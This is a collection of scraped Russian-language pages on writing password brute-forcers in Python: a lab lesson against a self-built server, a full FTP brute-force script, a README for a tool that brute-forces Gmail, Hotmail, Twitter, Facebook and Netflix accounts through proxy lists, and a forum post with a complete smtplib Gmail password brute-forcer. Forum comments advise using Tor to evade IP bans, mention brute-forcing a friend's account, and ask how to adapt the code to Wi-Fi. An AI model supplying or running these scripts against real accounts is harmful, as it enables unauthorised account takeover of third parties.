Python для хакера. Урок №5. Пишем брутфорсер формы авторизации.
https://t.me/hacker_sanctuary
В случае заимствования данной информации, указывайте авторство — Telegram-канал «Убежище Хакера».
Данный пост является продолжением рубрики «Python для хакера», предыдущие посты доступны по следующим ссылкам:
Советуем для начала ознакомиться с предыдущими уроками, чтобы понимать материал из данного и следующих уроков.
Урок 5. Пишем брутфорсер формы авторизации.
Данный урок будет посвящён созданию скрипта для брута формы авторизации. Брутить будем форму авторизации, созданную в сервере, который был разработан на прошлом уроке.
Теория.
Использовать мы будем библиотеку pwntools (про неё есть вводный урок под номером 3). Также нам понадобятся словари, возьмём топ-1000 логинов и паролей.
Подразумевается, что мы не знаем не логинов не паролей. Для брута чистых TCP приложений (например FTP-серверов) — это достаточно реальное предположение.
Да, для брута есть специальные инструменты, которые, скорее всего, будут работать гораздо быстрее чем наш скрипт, но мы не ставим перед собой задачу разработки готового инструмента, а просто тренируемся и учимся, для того, чтобы понимать, концепции, лежащие в основе мощных инструментов.
Практика.
Итак, приступим. Нам необходимо запустить написанный нами в прошлом уроке сервер (если вы ещё не читали этот урок, то обязательно прочтите), полный код сервера можно найти на gihube канала (ссылка).
Запустим его на машине, на которой не будет запускаться наш скрипт. Можно запустить на основной машине и запускать скрипт с виртуалки, или наоборот.
Запуск сервера мы опустим, т.к. это показывалось в прошлом уроке. Также, опустим и объяснение работы сервера.
Для начала найдём словари с логинами и паролями. Для этого можно использовать очень хороший репозиторий на github’e в котором есть словари паролей и логинов, при чём разнообразных и в большом количестве (ссылка).
Для имён пользователя возьмём словарь — ссылка (вы можете взять другой)
Для паролей словарь — ссылка.
Скачиваем эти словари и помещаем их в одну папку с нашим скриптом.

Начнём писать код.
Сделаем необходимые импорты.

Для начала нам нужно написать достаточно стандартный код для сетевого клиента, а именно принятие аргументов при запуске из командной строки.

Здесь всё довольно просто. Есть 4 аргумента: хост, порт, файл с логинами, файл с паролями. Здесь всё тривиально и уже рассматривалось не один раз.
Теперь нам нужно бы получить все наши логины и пароли в виде списка (обратите внимание, что данная техника не очень хороша, если вы используете большой словарь, т.к. при считывании сразу всех значений, они будут хранится в памяти и занимать много места, но в нашем случае они будут занимать не так много). Для этого напишем короткую функцию ParseFile, которая вернёт нам список из строк, которые есть в файле.

Код достаточно простой, открываем файл, считываем всё из файла и разбиваем считанное по разделителю в виде символа переноса строки (то есть получаем отдельные строчки), закрываем файл, возвращаем полученный список. Если вы не поняли, что произошло, советую посмотреть про функции работы с файлами и функцию split.
Теперь получим наши списки и сохраним в отдельные переменные.

Отлично, пришло время подключаться и перебирать логины.

Итак мы начинаем цикл по списку из имён пользователей, т.к. при неудачном вводе сервер разрывает соединение, на каждой итерации нам надо устанавливать новое подключение. После установки подключения мы считываем данные, пока не встретим приглашения ввода имени пользователя (строка 28), после чего мы отправляем имя пользователя на сервер и ожидаем ответ, если в ответе содержится сообщение о том, что имя неверное, мы просто заканчиваем текущую итерацию и закрываем наш клиент. Если такое сообщение не пришло, то мы считаем, что был найден верный логин и заканчиваем данный цикл с выводом верного логина на экран. Запустим наш код и проверим его.

Отлично, мы нашли имя пользователя. Чтобы убрать сообщения об открытых и закрытых соединениях, можно дописать слово SILENT в конце строки запуска скрипта.

Отлично, теперь напишем код для брута пароля. При этом будем использовать логин найденный в ходе первого цикла, то есть не будем запускать скрипт два раза: для нахождения логина, для нахождения пароля, а будем запускать всего один раз для нахождения всего.

Итак, код делает практически тоже самое, что и для имени пользователя, вы можете их сравнить. Переменная valid_username была добавлена и теперь код для нахождения имени пользователя выглядит так.

Просто сохраняем верное имя пользователя в отдельной переменной, чтобы потом её использовать в поиске пароля.
Запустим всё что мы написали.

Отлично, мы нашли логин и пароль.
Весь исходный код скрипта доступен на гитхабе канала по данной ссылке.
Данный урок подходит к концу. В следующих уроках планируется рассмотреть создание скриптов для веб-приложений, то есть простых веб-серверов и клиентов. Если у вас есть идеи, то пишите их в бота-ответчика.
Данный урок окончен, надеюсь он был вам полезен, если у вас есть какие-то вопросы, пожелания, предложения, то пишите сюда — @hackersanctuary_bot.
Инструкция и скрипт на Python по брутфорсу FTP

Мануал
Автор cryptoparty На чтение 4 мин Опубликовано 23.09.2020
Это руководство по брутфорсу FTP позволит вам создать свой собственный простой инструмент прямого перебора паролей FTP на языке Python.
Полный код состоит всего из 20 строк, и инструмент достаточно прост.
Создайте новый файл Python
Сначала создайте новый файл Python и сохраните его, это позволит вам быстрее редактировать и перемещаться по этому руководству.
Импортируйте FTPlib
FTPlib – это стандартная библиотека, используйте ее.
Запишите следующий фрагмент кода в свой файл Python.
from ftplib import FTP
Список паролей
Инструмент брута должен использовать список паролей, ведь мы не хотим вводить пароли один за другим :-).
Создайте строковое значение, которое позволит вам указать местоположение вашего password_list.
Затем мы добавим имя пользователя по умолчанию, которое мы собираемся использовать, и нам нужно будет указать целевую строку.
password_list = "my_password_list.txt" username = "anonymous" target = "ftp.kakoitosite.ru"
Цикл
Определите процесс, назовем его start, мы должны подготовить список, который будет содержать password_list, и нам нужно написать некоторый код, который загрузит список в созданный нами инструмент брута FTP на Python.
Добавьте следующую строку кода:
def start(): setx = [] f = open(password_list) setx = f.readlines()
Продолжаем добавлять цикл и шаги входа в систему:
for password in setx: password = password.strip() try: ftp = FTP(target) ftp.login(user=username, passwd = password) print("Success:",str(password)) break except Exception as e: print("Fail:",str(e)," [X]-> ",password)
Запуск
Последний шаг, который мы сделаем, – это добавим start() в конец кода Python.
start()
Конечный результат
from ftplib import FTP #options password_list = "my_password_list.txt" username = "anonymous" target = "ftp.kakoitosite.ru" def start(): setx = [] f = open(password_list) setx = f.readlines() for password in setx: password = password.strip() try: ftp = FTP(target) ftp.login(user=username, passwd = password) print("Success:",str(password)) break except Exception as e: print("Fail:",str(e)," [X]-> ",password) start()
¯\_(ツ)_/¯
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.
Пожалуйста, не спамьте и никого не оскорбляйте. Это поле для комментариев, а не спамбокс. Рекламные ссылки не индексируются!
Добавить комментарий Отменить ответ
Знгрик 20.01.2023 в 07:15
А как это использовать, допустим, я хочу оазгадать пароль, но как мне этот код подключить, чтобы он работал и разгадывал ?
cryptoparty автор 20.01.2023 в 08:19
запустить в оболочке python
слабумом2004 08.07.2023 в 10:42
какое еще облачко ?
cryptoparty автор 09.07.2023 в 21:20
оболочка , env

Поддержать нас
- Аудит ИБ (49)
- Вакансии (12)
- Закрытие уязвимостей (110)
- Книги (27)
- Мануал (2 365)
- Медиа (66)
- Мероприятия (39)
- Мошенники (23)
- Обзоры (833)
- Обход запретов (34)
- Опросы (3)
- Скрипты (116)
- Статьи (361)
- Философия (127)
- Юмор (18)
Наш Telegram

Социальные сети
Поделиться
Anything in here will be replaced on browsers that support the canvas element
- ✈️ Понимание chmod: Разница между u+x и +x 17.11.2023
Команда chmod используется для назначения прав на файлы и каталоги в системе Linux. Chmod может принимать различные синтаксисы, такие как символьный режим и абсолютный режим, поэтому при изучении различных способов использования chmod может возникнуть некоторое замешательство. Когда речь идет о предоставлении пользователю прав на выполнение, часто используются опции u+x и +x из-за их простого и […]
В области управления базами данных привилегии пользователей являются основой безопасности и контроля доступа. MySQL, как одна из наиболее популярных реляционных систем управления базами данных, предлагает полный набор команд для управления правами пользователей, предназначенных для обеспечения целостности и конфиденциальности данных. Одним из важнейших аспектов этой системы является возможность предоставления пользователям определенных прав, включая мощную привилегию ‘GRANT […]
Переход бизнеса в Интернет открывает новые возможности для развития. Вы можете обслуживать несколько точек и работать с большой аудиторией. Однако, став известным брендом в Интернете, вы также становитесь уязвимы для многих киберпреступлений, которые совершаются угрожающими субъектами с целью получения прибыли, используя репутацию вашего бренда. Одним из таких преступлений является киберсквоттинг. Оно может привести к потере […]
В наши дни мобильные гаджеты стали неотъемлемой частью нашей жизни. Они не только предоставляют средство связи через традиционные звонки, но также открывают доступ к мессенджерам и специальным программам. Таким образом, современный человек взаимодействует с окружающим миром как через сим-карту, так и через разнообразные коммуникационные платформы. Проблемы с рекламой в социальных сетях Социальные сети стремятся ужесточить правила […]
Web Path Finder – это программа на языке Python, предоставляющая информацию о сайте. Она позволяет получить такие сведения, как заголовок страницы, дата последнего обновления, информация о DNS, поддоменах, именах брандмауэров, используемых технологиях, информация о сертификатах и многое другое. Особенности и преимущества Получение важной информации о сайте Получение информации о технологиях, используемых на сайте Определение поддоменов […]
Saved searches
Use saved searches to filter your results more quickly
Cancel Create saved search
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session.
Python инструмент для брута паролей!
License
kingvoidwalker-cyber/Brute
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Switch branches/tags
Branches Tags
Could not load branches
Nothing to show
Could not load tags
Nothing to show
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Cancel Create
- Local
- Codespaces
HTTPS GitHub CLI
Use Git or checkout with SVN using the web URL.
Work fast with our official CLI. Learn more about the CLI.
Sign In Required
Please sign in to use Codespaces.
Launching GitHub Desktop
If nothing happens, download GitHub Desktop and try again.
Launching GitHub Desktop
If nothing happens, download GitHub Desktop and try again.
Launching Xcode
If nothing happens, download Xcode and try again.
Launching Visual Studio Code
Your codespace will open once ready.
There was a problem preparing your codespace, please try again.
Latest commit
Git stats
Files
Failed to load latest commit information.
Latest commit message
Commit time
February 13, 2022 21:54
February 13, 2022 21:01
February 13, 2022 20:59
February 13, 2022 21:01
February 16, 2022 23:56
February 13, 2022 21:01
README.md
sudo apt install python3 python3-pip pip3 install proxylist pip3 install mechanize
python3 Brute.py -g Account@gmail.com -l File_list python3 Brute.py -g Account@gmail.com -p Password_Single
python3 Brute.py -t Account@hotmail.com -l File_list python3 Brute.py -t Account@hotmail.com -p Password_Single
python3 Brute.py -T Account_Twitter -l File_list python3 Brute.py -T Account_Twitter -l File_list -X proxy-list.txt
python3 Brute.py -f Account_facebook -l File_list python3 Brute.py -f Account_facebook -l File_list -X proxy-list.txt
Предпочтительно работаеть с VPN Start On Vpn python3 Brute.py -n Account_Netflix -l File_list python3 Brute.py -n Account_Netflix -l File_list -X proxy-list.txt И с нетерпением ждем ваши идеи(^-^)
About
Python инструмент для брута паролей!
Пишем свой брутфорс на Python

Привет всем.Сегодня я вам расскажу как написать свою брутфорс на Python и с каким проблемами столкнулся я как новичок. Начнем!
Предыстория:
Как-то раз я чекал ютуб и мне на глаза попался канал программиста который писал на Python всякие плюшки по типу стиллеров, брутфорсов архивов,локеров и т.д. И я подумал:»А почему я не могу написать что-то похожее?».И мой выбор остановился на брутфорсе почт gmail.Как и все новички или опытные программисты я должен был реализовать идею в голове то есть ,что должен делать скрипт и как он должен это делать.Не много подумав и изучим материала в интернете я приступил к практике!
Практика:
Почта работает через порт 25 и протокол SMTP,значит для того чтоб написать брут нам понадобиться импортировать SMTP библиотеку и импортировать параметр system из os позже скажу зачем.
import smtplib from os import system import colorama
Для установки corama надо прописать в cmd
pip install colorama
Я решил,что брать пароли лучше из словаря для этого мы и импортировали модуль system. Теперь надо предоставить пользователю выбор:
print ('1. Start') print ('2. Exit') option = input('==> ')
Так пока неплохо,двигаемся дальше.Теперь когда мы предоставили пользователю выбор между пунктом «Start» и «Exit» надо назначить условие:
if option == '1': passlist = input('Enter password_list: ') pass_found = open(passlist, 'r')
В этом коде мы назначаем пункту «Start» условие,что если пользователь выберет 1 пункт,а это «Start», то мы даем пользователю возможность ввести путь к файлу и сохраняем этот путь в переменной . А после мы открываем файл и читаем его.Так ,что же делать дальше?А дальше нам надо будет дать возможность пользователю ввести почту и скажем так приконектиться к сервису gmail с этой почтой(больше ни как не могу объяснить уж извиняйте).Вот так все это будет выглядеть:
user_name = input('Target email: ') server = smtplib.SMTP('smtp.googlemail.com',587) server.ehlo() server.starttls()
Обратите внимание на строку:
server = smtplib.SMTP(‘smtp.googlemail.com’,587)
В интернете я прочитал,что правильным нужно сделать так:
server = smtplib.SMTP_SSL(‘smtp.googlemail.com’,587)
Но при запуске скрипта мне вылетала ошибка :
ssl.SSLError: [SSL: UNKNOWN_PROTOCOL] unknown protocol (_ssl.c:833)
Но когда я запускал с таким параметром на Linux Mint с Python 3.6 ,то все было хорошо.Наверно это опять еба*ый windows и для того что исправить эту проблему я как бы «Вшил» не защищенное соединение в TLS командой:
server.startrls()
И завершающий блок кода:
for password in pass_found: try: server.login(user_name, password) print(Fore.GREEN + '[+] Password Found: ' + password) break; except smtplib.SMTPAuthenticationError: print(Fore.RED + '[-] Password not founded') input()
В этом блоке все предельно просто.Мы в создаем цикл в котором перебираются пароли.В функцию try мы записывает условие ,что если пароль верный ,то мы логинемся.Также правильные пароли подсвечиваются зеленым,а неправильные красным. Вот полный код:
import smtplib import colorama from colorama import init, Fore, Back from os import system print(' ====================== ') print(' Для vlmi.top! ') print(' ====================== ') init() print ('1. Start') print ('2. Exit') option = input('> ') if option == '1': passlist = input('Enter password_list: ') if option == '2': exit() pass_found = open(passlist, 'r') user_name = input('Target email: ') server = smtplib.SMTP('smtp.googlemail.com',587) server.ehlo() server.starttls() for password in pass_found: try: server.login(user_name, password) print(Fore.GREEN + '[+] Password Found: ' + password) break; except smtplib.SMTPAuthenticationError: print(Fore.RED + '[-] Password not founded') input()
Спасибо за внимание и удачи!
Дурная бесконечность копипаста — суть современного Интернета
BotHub
Разработчик ботов
BotHub
Разработчик ботов
Резидент
Сообщения 286 Реакции 422 0 руб.
как обстоят дела со сменой IP? Просто если подбирать так, быстро уйдёт в бан IP.
Блог разработчика ботов
Miron_T31
Miron_T31
Местный
Сообщения 195 Реакции 158 0 руб.
как обстоят дела со сменой IP? Просто если подбирать так, быстро уйдёт в бан IP.
Я пока тестировал это ‘чудо’ раз 15 брутфорс’ил свои 2 аккаунта и все ок. И брутфорс’ ещё друга
[automerge]1539800919[/automerge]
как обстоят дела со сменой IP? Просто если подбирать так, быстро уйдёт в бан IP.
Tor вруби и херач
Дурная бесконечность копипаста — суть современного Интернета
BotHub
Разработчик ботов
BotHub
Разработчик ботов
Резидент
Сообщения 286 Реакции 422 0 руб.
Я пока тестировал это ‘чудо’ раз 15 брутфорс’ил свои 2 аккаунта и все ок. И брутфорс’ ещё друга
[automerge]1539800919[/automerge]
Tor вруби и херач
я в том смысле, что в момент подбора пароля, через какое то количество попыток, блокируется возможность зайти, и в основном они по IP смотрят, возможно имено Gmail, так не делают, я подобным не занимался, но в большинстве своём для брута, нужен ещё и лист с прокси, которые будут время от времени меняться.
[automerge]1539802918[/automerge]
но в принципе и эту возможность не долго добавить. Если есть ещё идеи и какие то наработки, можешь размещать их в теме, которую я создал, по полезным кодам на Python. Будет время, закину пару наработок по работе с Telegram.
Последнее редактирование: 17 Окт 2018
Блог разработчика ботов
Miron_T31
Miron_T31
Местный
Сообщения 195 Реакции 158 0 руб.
я в том смысле, что в момент подбора пароля, через какое то количество попыток, блокируется возможность зайти, и в основном они по IP смотрят, возможно имено Gmail, так не делают, я подобным не занимался, но в большинстве своём для брута, нужен ещё и лист с прокси, которые будут время от времени меняться.
[automerge]1539802918[/automerge]
но в принципе и эту возможность не долго добавить. Если есть ещё идеи и какие то наработки, можешь размещать их в теме, которую я создал, по полезным кодам на Python. Будет время, закину пару наработок по работе с Telegram.
Дурная бесконечность копипаста — суть современного Интернета
vimen
vimen
Местный
Сообщения 185 Реакции 140 0 руб.
там же двухфакторка вылазит?
Miron_T31
Miron_T31
Местный
Сообщения 195 Реакции 158 0 руб.
там же двухфакторка вылазит?
Только если пользователь поставил ее
Дурная бесконечность копипаста — суть современного Интернета
Smertnik228
Smertnik228
Участник
Сообщения 2 Реакции 2 0 руб.
Го продолжение v2.0)
Miron_T31
Miron_T31
Местный
Сообщения 195 Реакции 158 0 руб.
Го продолжение v2.0)
А что ты хочешь увидеть?
Дурная бесконечность копипаста — суть современного Интернета
Rip Hunter
Rip Hunter
Новичок
Сообщения 1 Реакции 0 0 руб.
Доброго времени суток! У меня Вопрос, а можно переделать этот код под подбор паролей к WiFi. Если да то можете помочь? Буду очень благодарен!
Alex200815
Alex200815
Местный
Сообщения 73 Реакции 58 0 руб.
в строке server = smtplib.SMTP_SSL(‘smtp.googlemail.com’,587 вместо 587 нужно написать 465 и будет все норм
impravizario
impravizario
Участник
Сообщения 6 Реакции 4 0 руб.
Хорошая работа, Олег
UncleBob
UncleBob
Новичок
Сообщения 1 Реакции 0 0 руб.
Кто-нибудь пробовал допилить скрипт, чтобы он в несколько потоков работал?
Kirill_Monster
Kirill_Monster
Новичок
Сообщения 2 Реакции 0 0 руб.
Запускаю скрипт в файле верный пароль пишет что не подходит меняю на mail.ru проверяет только два пароля потом выдает ошибку
Traceback (most recent call last):
File «C:\Users\Lenovo\Desktop\bot\hack mail\hack.py», line 23, in
server.login(user_name, password)
File «C:\Users\Lenovo\AppData\Local\Programs\Python\Python39\lib\smtplib.py», line 734, in login
(code, resp) = self.auth(
File «C:\Users\Lenovo\AppData\Local\Programs\Python\Python39\lib\smtplib.py», line 637, in auth
(code, resp) = self.docmd(«AUTH», mechanism + » » + response)
File «C:\Users\Lenovo\AppData\Local\Programs\Python\Python39\lib\smtplib.py», line 427, in docmd
return self.getreply()
File «C:\Users\Lenovo\AppData\Local\Programs\Python\Python39\lib\smtplib.py», line 400, in getreply
raise SMTPServerDisconnected(«Connection unexpectedly closed»)
smtplib.SMTPServerDisconnected: Connection unexpectedly closed
Kirill_Monster
Kirill_Monster
Новичок
Сообщения 2 Реакции 0 0 руб.
Запускаю скрипт в файле верный пароль пишет что не подходит меняю на mail.ru проверяет только два пароля потом выдает ошибку
Traceback (most recent call last):
File «C:\Users\Lenovo\Desktop\bot\hack mail\hack.py», line 23, in
server.login(user_name, password)
File «C:\Users\Lenovo\AppData\Local\Programs\Python\Python39\lib\smtplib.py», line 734, in login
(code, resp) = self.auth(
File «C:\Users\Lenovo\AppData\Local\Programs\Python\Python39\lib\smtplib.py», line 637, in auth
(code, resp) = self.docmd(«AUTH», mechanism + » » + response)
File «C:\Users\Lenovo\AppData\Local\Programs\Python\Python39\lib\smtplib.py», line 427, in docmd
return self.getreply()
File «C:\Users\Lenovo\AppData\Local\Programs\Python\Python39\lib\smtplib.py», line 400, in getreply
raise SMTPServerDisconnected(«Connection unexpectedly closed»)
smtplib.SMTPServerDisconnected: Connection unexpectedly closed
и тоже пароль верный не видит хотя он второй по счету и он его проверяет. Сегодня и вчера всё было норм
kkkqwerasdtyr
kkkqwerasdtyr
Новичок
Сообщения 1 Реакции 0 0 руб.
Если в настройках нужной почты запрещены небезопасные приложения, то забрутить не получится. Наверно 3 года назад такого еще не было и всё работало
